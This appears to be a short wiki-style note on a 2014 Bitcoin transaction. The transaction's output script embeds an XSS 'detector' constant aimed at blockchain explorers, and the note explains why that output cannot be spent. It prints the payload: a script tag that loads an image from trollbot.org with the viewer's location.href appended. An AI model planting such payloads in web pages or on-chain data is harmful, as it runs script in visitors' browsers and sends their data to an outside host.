{title2=2014-06-14}
{title2=XSS detection}

Output 0 does:
``
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
``
where the large constant is an interesting <inscription (blockchain)> to test for the presence of <XSS> attacks on <blockchain explorers>:
``
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
``
This is almost spendable with:
``
1 OP_TOALTSTACK 10 1 2
``
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.

Bibliography:
* https://www.reddit.com/r/Bitcoin/comments/2c5tdz/found_this_while_crawling_the_metadata/
* https://bitcointalk.org/index.php?topic=701556.0


 Discussion on "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af" by Ciro Santilli (@cirosantilli, 37)